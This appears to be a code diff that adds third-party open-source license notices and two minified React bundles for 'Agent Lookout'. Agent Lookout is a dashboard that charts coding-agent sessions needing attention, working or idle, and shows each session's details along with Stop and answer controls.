Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
2410
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
2411
|
+
in the Software without restriction, including without limitation the rights
|
|
2412
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
2413
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
2414
|
+
furnished to do so, subject to the following conditions:
|
|
2415
|
+
|
|
2416
|
+
The above copyright notice and this permission notice shall be included in all
|
|
2417
|
+
copies or substantial portions of the Software.
|
|
2418
|
+
|
|
2419
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
2420
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
2421
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
2422
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
2423
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
2424
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
2425
|
+
SOFTWARE.
|
|
2426
|
+
|
|
2427
|
+
## ajv-formats - 3.0.1 (MIT)
|
|
2428
|
+
|
|
2429
|
+
MIT License
|
|
2430
|
+
|
|
2431
|
+
Copyright (c) 2020 Evgeny Poberezkin
|
|
2432
|
+
|
|
2433
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
2434
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
2435
|
+
in the Software without restriction, including without limitation the rights
|
|
2436
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
2437
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
2438
|
+
furnished to do so, subject to the following conditions:
|
|
2439
|
+
|
|
2440
|
+
The above copyright notice and this permission notice shall be included in all
|
|
2441
|
+
copies or substantial portions of the Software.
|
|
2442
|
+
|
|
2443
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
2444
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
2445
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
2446
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
2447
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
2448
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
2449
|
+
SOFTWARE.
|
|
2450
|
+
|
|
2451
|
+
## fast-deep-equal - 3.1.3 (MIT)
|
|
2452
|
+
|
|
2453
|
+
MIT License
|
|
2454
|
+
|
|
2455
|
+
Copyright (c) 2017 Evgeny Poberezkin
|
|
2456
|
+
|
|
2457
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
2458
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
2459
|
+
in the Software without restriction, including without limitation the rights
|
|
2460
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
2461
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
2462
|
+
furnished to do so, subject to the following conditions:
|
|
2463
|
+
|
|
2464
|
+
The above copyright notice and this permission notice shall be included in all
|
|
2465
|
+
copies or substantial portions of the Software.
|
|
2466
|
+
|
|
2467
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
2468
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
2469
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
2470
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
2471
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
2472
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
2473
|
+
SOFTWARE.
|
|
2474
|
+
|
|
2475
|
+
## fast-uri - 3.1.8 (BSD-3-Clause)
|
|
2476
|
+
|
|
2477
|
+
Copyright (c) 2011-2021, Gary Court until https://github.com/garycourt/uri-js/commit/a1acf730b4bba3f1097c9f52e7d9d3aba8cdcaae
|
|
2478
|
+
Copyright (c) 2021-present The Fastify team <https://github.com/fastify/fastify#team>
|
|
2479
|
+
All rights reserved.
|
|
2480
|
+
|
|
2481
|
+
Redistribution and use in source and binary forms, with or without
|
|
2482
|
+
modification, are permitted provided that the following conditions are met:
|
|
2483
|
+
* Redistributions of source code must retain the above copyright
|
|
2484
|
+
notice, this list of conditions and the following disclaimer.
|
|
2485
|
+
* Redistributions in binary form must reproduce the above copyright
|
|
2486
|
+
notice, this list of conditions and the following disclaimer in the
|
|
2487
|
+
documentation and/or other materials provided with the distribution.
|
|
2488
|
+
* The names of any contributors may not be used to endorse or promote
|
|
2489
|
+
products derived from this software without specific prior written
|
|
2490
|
+
permission.
|
|
2491
|
+
|
|
2492
|
+
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
|
2493
|
+
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
|
2494
|
+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
|
2495
|
+
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE LIABLE FOR ANY
|
|
2496
|
+
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
|
2497
|
+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
|
2498
|
+
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
|
2499
|
+
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
|
2500
|
+
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
2501
|
+
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
2502
|
+
|
|
2503
|
+
* * *
|
|
2504
|
+
|
|
2505
|
+
The complete list of contributors can be found at:
|
|
2506
|
+
- https://github.com/garycourt/uri-js/graphs/contributors
|
|
2507
|
+
|
|
2508
|
+
## json-schema-traverse - 1.0.0 (MIT)
|
|
2509
|
+
|
|
2510
|
+
MIT License
|
|
2511
|
+
|
|
2512
|
+
Copyright (c) 2017 Evgeny Poberezkin
|
|
2513
|
+
|
|
2514
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
2515
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
2516
|
+
in the Software without restriction, including without limitation the rights
|
|
2517
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
2518
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
2519
|
+
furnished to do so, subject to the following conditions:
|
|
2520
|
+
|
|
2521
|
+
The above copyright notice and this permission notice shall be included in all
|
|
2522
|
+
copies or substantial portions of the Software.
|
|
2523
|
+
|
|
2524
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
2525
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
2526
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
2527
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
2528
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
2529
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
2530
|
+
SOFTWARE.
|
|
2531
|
+
|
|
2532
|
+
## zod - 4.6.5 (MIT)
|
|
2533
|
+
|
|
2534
|
+
MIT License
|
|
2535
|
+
|
|
2536
|
+
Copyright (c) 2025 Colin McDonnell
|
|
2537
|
+
|
|
2538
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
2539
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
2540
|
+
in the Software without restriction, including without limitation the rights
|
|
2541
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
2542
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
2543
|
+
furnished to do so, subject to the following conditions:
|
|
2544
|
+
|
|
2545
|
+
The above copyright notice and this permission notice shall be included in all
|
|
2546
|
+
copies or substantial portions of the Software.
|
|
2547
|
+
|
|
2548
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
2549
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
2550
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
2551
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
2552
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
2553
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
2554
|
+
SOFTWARE.
|
|
2555
|
+
|
|
2556
|
+
## zod-to-json-schema - 3.25.2 (ISC)
|
|
2557
|
+
|
|
2558
|
+
ISC License
|
|
2559
|
+
|
|
2560
|
+
Copyright (c) 2020, Stefan Terdell
|
|
2561
|
+
|
|
2562
|
+
Permission to use, copy, modify, and/or distribute this software for any
|
|
2563
|
+
purpose with or without fee is hereby granted, provided that the above
|
|
2564
|
+
copyright notice and this permission notice appear in all copies.
|
|
2565
|
+
|
|
2566
|
+
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
|
2567
|
+
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
|
2568
|
+
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
|
2569
|
+
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
|
2570
|
+
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
|
2571
|
+
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
|
2572
|
+
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import{r as y,j as t}from"./react-C2DiJaR6.js";import{b as G,t as K,r as q,f as U,a as C,c as X,d as V,h as _,m as J,H as Q,e as Z,D as ee,g as O,s as te,i as se,j as ne,S as oe,L as ae,C as re,k as ie,l as le,n as de}from"./index-a7ubgAmE.js";import"./motion-BAhdRuCw.js";import"./radix-BH0JH8UU.js";const ce={"needs-you":"text-status-needs-you-edge",working:"text-status-working",idle:"text-status-idle"},I={top:12,right:12,bottom:24,left:30},L=220,ue=76,he=104,R=1/60;function me({samples:s,start:n,end:a,tone:g,label:w,describe:l,className:c}){const p=y.useRef(null),[u,k]=y.useState(0),[h,i]=y.useState(null);y.useEffect(()=>{const e=p.current;if(!e)return;const o=new ResizeObserver(([j])=>{j&&k(Math.floor(j.contentRect.width))});return o.observe(e),()=>o.disconnect()},[]);const r=I.left,m=Math.max(r+1,u-I.right),x=I.top,d=L-I.bottom,N=a-n;let T=0;for(const e of s)e.at>=n&&e.at<=a&&e.value>T&&(T=e.value);const A=V(T),b=G(s,{start:n,end:a},{left:r,right:m,top:x,bottom:d,ceiling:A.ceiling}),W=e=>r+(e-n)/N*(m-r),S=e=>d-e/A.ceiling*(d-x),B=K(n,a,Math.max(1,Math.floor((m-r)/ue))),M=h??1,H=n+M*N,E=q(b.runs,H),$=E?l(E.value):"Not measured",v=W(H),z=(e,o)=>{const j=o.left+r,f=m-r;i(Math.min(1,Math.max(0,(e-j)/f)))},Y=e=>{const j={ArrowLeft:f=>f-R,ArrowRight:f=>f+R,PageDown:f=>f-R*10,PageUp:f=>f+R*10,Home:()=>0,End:()=>1}[e.key];j&&(e.preventDefault(),i(Math.min(1,Math.max(0,j(h??1)))))};return t.jsxs("div",{ref:p,"data-slot":"history-chart",role:"slider",tabIndex:0,"aria-label":`${w}. Arrow keys read the count at each moment.`,"aria-orientation":"horizontal","aria-valuemin":0,"aria-valuemax":100,"aria-valuenow":Math.round(M*100),"aria-valuetext":`${C(H)}: ${$}`,onPointerMove:e=>z(e.clientX,e.currentTarget.getBoundingClientRect()),onPointerLeave:()=>i(null),onFocus:e=>{e.currentTarget.matches(":focus-visible")&&i(o=>o??1)},onBlur:()=>i(null),onKeyDown:Y,className:X("relative w-full cursor-crosshair rounded-row",ce[g],c),style:{height:L},children:[u>0&&b.unmeasured.map((e,o)=>t.jsx("div",{"aria-hidden":!0,"data-part":"unmeasured",className:"unmeasured-hatch absolute",style:{left:e.x,top:x,width:e.width,height:d-x}},o)),u>0&&t.jsxs("svg",{"aria-hidden":!0,width:u,height:L,className:"relative block",children:[A.ticks.map(e=>t.jsxs("g",{children:[t.jsx("line",{"data-part":"grid",x1:r,x2:m,y1:S(e),y2:S(e),stroke:e===0?"var(--rule-strong)":"var(--hairline)",strokeWidth:1,shapeRendering:"crispEdges"}),t.jsx("text",{x:r-8,y:S(e),dy:"0.32em",textAnchor:"end",className:"fill-ink-muted font-mono text-micro",children:e})]},e)),b.unmeasured.map((e,o)=>e.width>=he&&t.jsx("text",{"data-part":"unmeasured-label",x:e.x+8,y:x+14,className:"fill-ink-muted font-mono text-micro",stroke:"var(--glass-float)",strokeWidth:4,strokeLinejoin:"round",paintOrder:"stroke",children:"Not measured"},o)),b.areas.map((e,o)=>t.jsx("path",{d:e,fill:"currentColor",stroke:"none",opacity:.1},o)),b.lines.map((e,o)=>t.jsx("path",{"data-part":"line",d:e,fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"},o)),B.map(e=>{const o=W(e);return o<r+16||o>m-16?null:t.jsx("text",{"data-part":"time-tick",x:o,y:L-6,textAnchor:"middle",className:"fill-ink-muted font-mono text-micro",children:U(e)},e)}),h!==null&&t.jsxs("g",{"data-part":"crosshair",children:[t.jsx("line",{x1:v,x2:v,y1:x,y2:d,stroke:"var(--ink-muted)",strokeWidth:1,shapeRendering:"crispEdges"}),E&&t.jsx("circle",{cx:v,cy:S(Math.min(E.value,A.ceiling)),r:4.5,fill:"currentColor",stroke:"var(--glass-float)",strokeWidth:2})]})]}),h!==null&&u>0&&t.jsxs("div",{"aria-hidden":!0,"data-part":"reading",className:"pointer-events-none absolute z-10 rounded-row bg-glass-float px-2.5 py-1.5 font-mono text-fact whitespace-nowrap inset-ring inset-ring-rule",style:M>.62?{top:x,right:u-v+10}:{top:x,left:v+10},children:[t.jsx("span",{className:"block text-ink-muted",children:C(H)}),t.jsx("span",{className:"block text-ink",children:$})]})]})}const xe=6e4;function pe(s,n){const[a,g]=y.useState(null),[w,l]=y.useState(null),c=s>Q,p=n?.startedAt??null,u=n?_(n).at:null;if(y.useEffect(()=>{if(!c)return;let h=!0;const i=()=>{Z(s).then(m=>{h&&(g({windowMs:s,history:m}),l(null))},()=>{h&&l(s)})};i();const r=setInterval(i,xe);return()=>{h=!1,clearInterval(r)}},[c,s,p,u]),!c)return{history:n,status:n?"ready":"loading"};const k=a?.windowMs===s&&(p===null||a.history.startedAt===p)&&(u===null||_(a.history).at===u)?a.history:null;return k?{history:J(k,n),status:"ready"}:{history:null,status:w===s?"failed":"loading"}}const P={needsYou:{title:"Needs you",about:"How many sessions were waiting on you, over time.",tone:"needs-you",chart:"Sessions that need you",describe:s=>`${s} ${s===1?"needs":"need"} you`,explainer:"A session needs you when it has stopped and cannot go on without an answer: a permission to grant, a question, or a plan to approve. The line is how many were waiting at each moment."},working:{title:"Working",about:"How many sessions were in the middle of a task, over time.",tone:"working",chart:"Sessions working",describe:s=>`${s} working`,explainer:"A session is working while it is in the middle of a task. The line is how many were busy at each moment."},idle:{title:"Idle",about:"How many sessions were ready for a new prompt, over time.",tone:"idle",chart:"Idle sessions",describe:s=>`${s} idle`,explainer:s=>`A session is idle when it has finished what it was asked and is ready for a new prompt. One left idle ${s} or more is stale, and is counted under Stale instead. The line is how many were idle at each moment.`}},D="–";function F({label:s,value:n,caption:a}){return t.jsxs("div",{"data-slot":"figure",className:"min-w-0",children:[t.jsx("p",{className:"text-body font-medium text-ink-secondary",children:s}),t.jsx("p",{className:"mt-2 text-stat font-medium tabular-nums",children:n}),t.jsx("p",{className:"mt-2 text-caption text-ink-muted",children:a})]})}function fe({metric:s,state:n,now:a}){const[g,w]=y.useState("15m"),l=O.find(d=>d.id===g)??O[0],c=P[s],{history:p,status:u}=pe(l.ms,n.history),k=a-l.ms,h=p?te(p.points,s):[];let i=null;for(const d of h)d.at<k||d.at>a||(i===null||d.value>i)&&(i=d.value);const r=h[h.length-1],m=r&&a-r.at<=se?r.value:null,x=c.tone==="needs-you"&&ne(n.snapshot?.sessions)===0?"idle":c.tone;return t.jsxs(t.Fragment,{children:[t.jsxs("div",{className:"mt-5 flex flex-wrap items-end justify-between gap-x-6 gap-y-4",children:[t.jsxs("div",{className:"flex gap-6",children:[t.jsx(F,{label:"Now",value:m===null?D:String(m),caption:m===null?"Not being measured":"At the last check"}),t.jsx("div",{className:"border-l border-rule pl-6",children:t.jsx(F,{label:"Highest",value:i===null?D:String(i),caption:i===null?"Nothing measured":`In ${l.words}`})})]}),t.jsx(oe,{label:"Time window",value:g,onValueChange:w,options:O.map(({id:d,label:N})=>({value:d,label:N}))})]}),t.jsx("div",{className:"mt-5 h-55",children:u==="ready"?t.jsx(me,{samples:h,start:k,end:a,tone:x,label:`${c.chart} over ${l.words}`,describe:c.describe}):u==="loading"?t.jsx(ae,{label:`Reading ${l.words}`,className:"h-full"}):t.jsx(re,{tone:"error",title:`${ie(l.words)} could not be read`,children:t.jsx("p",{children:"Agent Lookout did not answer when asked for it. The page asks again every minute. The 15 minute window is still there."})})}),t.jsxs("div",{"data-slot":"explainer",className:"mt-5 rounded-inner bg-fill-quiet px-4 py-3 inset-ring inset-ring-hairline",children:[t.jsx("p",{className:"text-row font-semibold text-ink",children:"What this counts"}),t.jsx("p",{className:"mt-0.5 text-body text-ink-secondary",children:typeof c.explainer=="string"?c.explainer:c.explainer(le(de(n.snapshot?.timeRules)))}),t.jsxs("p",{className:"mt-1.5 text-body text-ink-secondary",children:["Hatched time was not measured: Agent Lookout was not running, or could not read its source, or the history was cleared then. It is never drawn as zero."," ",n.history?.kept?.where==="memory"?"History covers the last six hours and starts again when Agent Lookout restarts.":"History covers the last six hours, and is kept when Agent Lookout restarts."]})]})]})}function je({metric:s,open:n,onOpenChange:a,state:g,now:w}){const l=P[s];return t.jsx(ee,{open:n,onOpenChange:a,title:l.title,description:l.about,size:"wide",children:t.jsx(fe,{metric:s,state:g,now:w})})}export{je as HistoryPanel};
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import{j as e,r as p}from"./react-C2DiJaR6.js";import{F as x,T as E,p as L,o as C,w as D,u as P,q as B,J as W,c as _,v as I,A as J,R as H,D as K,x as z,y as G,z as U,n as V,B as X,M as F,E as Y,G as Q,I as Z,K as ee,N as te,O as se,P as O,Q as ne,U as ae,f as S,V as le,W as re,X as ie,Y as oe,Z as ce,_ as ue,$ as de,a0 as pe,a1 as T,a2 as R,a3 as me,L as he,a4 as xe}from"./index-a7ubgAmE.js";import"./motion-BAhdRuCw.js";import"./radix-BH0JH8UU.js";function fe({pullRequest:t}){return e.jsxs(x,{label:"Pull request",children:[e.jsxs(E,{"data-part":"pull-request",href:t.url,target:"_blank",rel:"noreferrer noopener",lines:2,tooltip:`#${t.number} ${t.title}`,className:"wrap-anywhere underline decoration-rule-strong underline-offset-2 transition-colors duration-120 hover:decoration-ink",children:[e.jsxs("span",{className:"tabular-nums",children:["#",t.number]})," ",t.title]}),e.jsx("span",{"data-part":"pull-request-state",className:"block text-caption font-normal text-ink-secondary tabular-nums",children:L(t)})]})}function je(t,a={}){const{open:s=!0,onStopped:n,request:l=C}=a,[u,o]=p.useState({kind:"idle"}),[c,r]=p.useState(s);s!==c&&(r(s),!s&&!(u.kind==="confirming"&&u.busy)&&o({kind:"idle"}));const f=p.useRef(s);p.useEffect(()=>{f.current=s},[s]);const i=p.useId(),[d]=p.useState(()=>({stop:`${i}-stop`,cancel:`${i}-cancel`,outcome:`${i}-outcome`})),m=p.useRef(null),j=p.useRef(!1),b=p.useRef(!0);p.useEffect(()=>(b.current=!0,()=>{b.current=!1}),[]),p.useEffect(()=>{const g=m.current;m.current=null,g!==null&&document.getElementById(d[g])?.focus()},[u,d]);const h=p.useCallback(()=>{j.current||(m.current="cancel",o({kind:"confirming",busy:!1}))},[]),N=p.useCallback(()=>{j.current||(m.current="stop",o({kind:"idle"}))},[]),v=p.useCallback(()=>{j.current||(j.current=!0,o({kind:"confirming",busy:!0}),l(t).then(g=>{if(j.current=!1,!!b.current){if(g==="stopped"&&n?.(),!f.current){o({kind:"idle"});return}m.current="outcome",o({kind:"answered",outcome:g,at:Date.now()})}}))},[t,l,n]);return{step:u,ask:h,cancel:N,confirm:v,ids:d}}const be="Read over SSH. Jump, Stop, Allow and Deny work on this computer only, so use that machine to go to it, stop it or answer it.",M=[];function ge(t,a){const s=CSS.escape(t),n=[...document.querySelectorAll(`:is([data-slot="session-row"], [data-slot="board-card"], [data-slot="hero-session"])[data-session="${s}"] a[data-part="name"]`)];return a!==null&&n.includes(a)?a:n.find(l=>!l.closest('[data-slot="hero-session"]'))??n[0]??null}function ye({session:t,gone:a,asOf:s,now:n}){const l=t.status==="finished"||t.status==="failed",u=re(t),o=u?"stale":a&&t.status==="needs-you"?"answered":t.status,c=t.statusSince,r=c!==null?Math.max(0,s-c):null,f=ie(t,s),i=t.status==="needs-you",d=i?oe(t):null,m=i&&!a&&!t.ask&&t.waitingText?.trim()||null,j=c!==null?`${l?"at":u?"idle since":"since"} ${O(c,n)}`:"time not reported",b=[i?ce(t):null,j,f&&ue(f)].filter(h=>typeof h=="string");return e.jsxs(x,{label:"Status",note:m?e.jsxs(e.Fragment,{children:[e.jsx(E,{"data-part":"asking",lines:2,className:"wrap-anywhere",children:m}),d&&e.jsx("span",{className:"block",children:d})]}):d??void 0,children:[e.jsxs("span",{className:"inline-flex items-center gap-2",children:[e.jsx(de,{kind:o}),e.jsx("span",{"data-part":"status",children:u?"Stale":pe[t.status]}),r!==null&&e.jsxs("span",{"data-part":"duration",className:"tabular-nums",children:[e.jsx("span",{className:"sr-only",children:l?` ${T(r)} ago`:` for ${T(r)}`}),e.jsxs("span",{"aria-hidden":!0,children:[R(r),l&&" ago"]})]})]}),e.jsx("span",{"data-part":"since",className:"block text-caption font-normal text-ink-secondary tabular-nums",children:b.join(", ")})]})}function ke({session:t,state:a,now:s,asOf:n}){const l=p.useMemo(()=>me({sessions:a.snapshot?.sessions??M,events:a.events,history:a.history,now:s,asOf:n,eventsFull:a.events.length>=F}),[a.snapshot,a.events,a.history,s,n]);if(!l)return e.jsxs(x,{label:"Waits",children:["Not known",e.jsx("span",{className:"block text-caption font-normal text-ink-secondary",children:"The history could not be read"})]});const u=l.sessions.find(r=>r.id===t.id),o=l.period.today?"today":`since ${S(l.period.from)}`;let c="None";if(u){const r=`${u.startKnown?"":"at least "}${R(u.ms)}`;c=u.times===1?`Once, ${r}`:`${u.times} times, ${r} in all`}return e.jsxs(x,{label:"Waits",children:[e.jsx("span",{"data-part":"waits",className:"tabular-nums",children:c}),e.jsx("span",{className:"block text-caption font-normal text-ink-secondary",children:o})]})}function $({title:t,aside:a,children:s,...n}){return e.jsxs("section",{...n,"aria-label":t,className:"mt-6",children:[e.jsxs("div",{className:"flex items-baseline justify-between gap-4 border-b border-hairline pb-2",children:[e.jsx("h3",{className:"text-body font-semibold text-ink",children:t}),a&&e.jsx("p",{className:"text-caption text-ink-muted",children:a})]}),s]})}function we({session:t,gone:a,state:s,now:n,asOf:l}){const u=s.snapshot?.sources??[],o=s.snapshot?.sessions??M,c=V(s.snapshot?.timeRules),r=X(t.surface),f=s.events.length>=F,i=p.useMemo(()=>Y(s.events.filter(b=>b.sessionId===t.id),o),[s.events,o,t.id]),d=Q(s.events,s.history,f),m=p.useMemo(()=>s.history?Z({sessions:o,events:s.events,history:s.history,now:n,asOf:l,eventsFull:f,staleAfterMs:c}):null,[o,s.events,s.history,n,l,f,c]),j=m?.rows.find(b=>b.id===t.id);return e.jsxs(e.Fragment,{children:[a&&e.jsx("p",{"data-part":"gone",className:"mt-4 text-body text-ink-secondary",children:"This session has left the list. Here is what was last known of it."}),e.jsxs(ee,{className:"mt-3",children:[e.jsx(ye,{session:t,gone:a,asOf:l,now:n}),e.jsx(x,{label:"Agent",children:te(t,u)}),t.machine!==void 0&&e.jsx(x,{label:"Machine",note:be,children:e.jsx("span",{"data-part":"machine",children:t.machine})}),r!==null&&e.jsx(x,{label:"App",children:r}),e.jsx(x,{label:"Folder",mono:t.cwd!==null,children:t.cwd!==null?e.jsx(se,{"data-part":"folder",className:"select-text",children:t.cwd}):"Not known"}),t.git?.repository!==void 0&&e.jsx(x,{label:"Repository",children:e.jsx("span",{"data-part":"repository",className:"wrap-anywhere",children:t.git.repository.name})}),t.git?.branch!==void 0?e.jsx(x,{label:"Branch",children:e.jsx("span",{"data-part":"branch",className:"wrap-anywhere",children:t.git.branch})}):t.git?.commit!==void 0&&e.jsx(x,{label:"Commit",mono:!0,children:t.git.commit}),t.git?.pullRequest!==void 0&&e.jsx(fe,{pullRequest:t.git.pullRequest}),e.jsx(x,{label:"Started",children:e.jsx("span",{className:"tabular-nums",children:t.startedAt!==null?O(t.startedAt,n):"Not reported"})}),t.pid!==void 0&&e.jsx(x,{label:"Process",mono:!0,note:t.alive===!1?"The process has ended.":!a&&t.source==="claude-code"&&t.surface==="desktop"?ne:void 0,children:t.pid}),e.jsx(ke,{session:t,state:s,now:n,asOf:l})]}),e.jsx($,{"data-part":"events",title:"Events",aside:d?`since ${S(d.at)}`:void 0,children:i.length>0?e.jsx(ae,{entries:i,now:n,className:"pt-0.5"}):e.jsxs("p",{className:"py-2.5 text-body text-ink-secondary",children:["Nothing has happened to this session"," ",d?`since ${S(d.at)}`:"yet","."]})}),e.jsx($,{"data-part":"timeline",title:"Timeline",aside:"last hour",children:m&&j?e.jsx(le,{timeline:m,rows:[j],named:!1,label:"Its last hour",className:"pt-3"}):e.jsx("p",{className:"py-2.5 text-body text-ink-secondary",children:m?"It did not run in the last hour.":"The last hour could not be read. The page asks again every two seconds."})})]})}function Ne({sessionId:t,open:a,onClose:s,state:n,now:l,onStopped:u,onAnswered:o}){const c=n.snapshot?.sessions.find(y=>y.id===t)??null,[r,f]=p.useState(null);c!==null&&c!==r?.session?f({session:c,at:n.lastOkAt??l}):c===null&&(r?.session.waitingText!==void 0||r?.session.ask!==void 0)&&f({...r,session:D(r.session)});const i=c??r?.session??null,d=c===null&&r!==null,m=P(i??{id:t,source:"status-files",surface:"unknown",links:{}}),j=d&&r?r.at:n.phase==="stalled"&&n.lastOkAt!==null?n.lastOkAt:l,b=m.outcome!==null||m.asking!==null,h=je(t,{open:a,onStopped:u}),N=h.step.kind==="answered"&&c?.alive===!0&&(n.snapshot?.generatedAt??0)>h.step.at,v=h.step.kind==="answered"&&h.step.outcome==="stopped"&&!N,g=B(i??{id:t,source:"status-files",status:"unknown",cwd:null},v?!0:void 0),q=h.step.kind==="answered"||h.step.kind==="confirming"&&(h.step.busy||!d);let k,w,A="wide";return i?(k=i.name,w=e.jsxs(e.Fragment,{children:[!d&&e.jsx("div",{className:_("flex flex-wrap items-center gap-x-2 gap-y-1",b&&"mt-3"),children:e.jsx(W,{session:i,jump:m})}),q&&e.jsx(I,{session:i,stop:h,className:"mt-3"}),!d&&e.jsx(J,{session:i,onAnswered:o,className:"mt-3"}),e.jsx(H,{resume:g,className:"mt-3"}),e.jsx(we,{session:i,gone:d,state:n,now:l,asOf:j})]})):n.snapshot===null?(k="Session",w=e.jsx(he,{label:"Reading sessions",className:"justify-start px-0 pt-5 pb-1"})):(k="No such session",A="sm",w=e.jsxs("div",{"data-part":"missing",children:[e.jsx("p",{className:"mt-2 text-body text-ink-secondary",children:"Agent Lookout is not watching a session at this address. It may have ended before this page was opened."}),e.jsx(xe,{className:"mt-4",onClick:s,children:"Go to the 